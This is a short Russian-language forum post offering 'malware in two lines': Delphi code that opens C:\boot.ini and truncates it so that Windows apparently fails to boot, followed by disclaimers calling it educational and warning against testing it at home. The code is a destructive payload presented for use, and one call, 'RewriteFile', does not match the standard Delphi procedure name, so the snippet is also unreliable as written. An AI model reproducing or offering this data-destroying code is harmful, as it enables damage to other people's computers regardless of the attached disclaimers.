Вредоносная програма в две строчки(после запуска програмы винда уже не запуститься ): .....
Code
var
Fnm:string;
F:TextFile;
begin
Fnm:='C:\boot.ini';
AssignFile(F, Fnm);
RewriteFile(F);
CloseFile(F);
end;
..... З.Ы. В чистом паскале давно уже не работал, ето код на делфи, в Паскале возможно процедуры без окончания *File (тоесть Assign, Rewrite, Close)...
З.З.Ы. Код предоставлен в чисто ознакомительных целях. Автор не несет ответственности за причененный програмой ущерб. Использование етого кода на свой страх и риск.
З.З.З.Ы Не вздумайте проверять работоспособность кода домашнем ПК!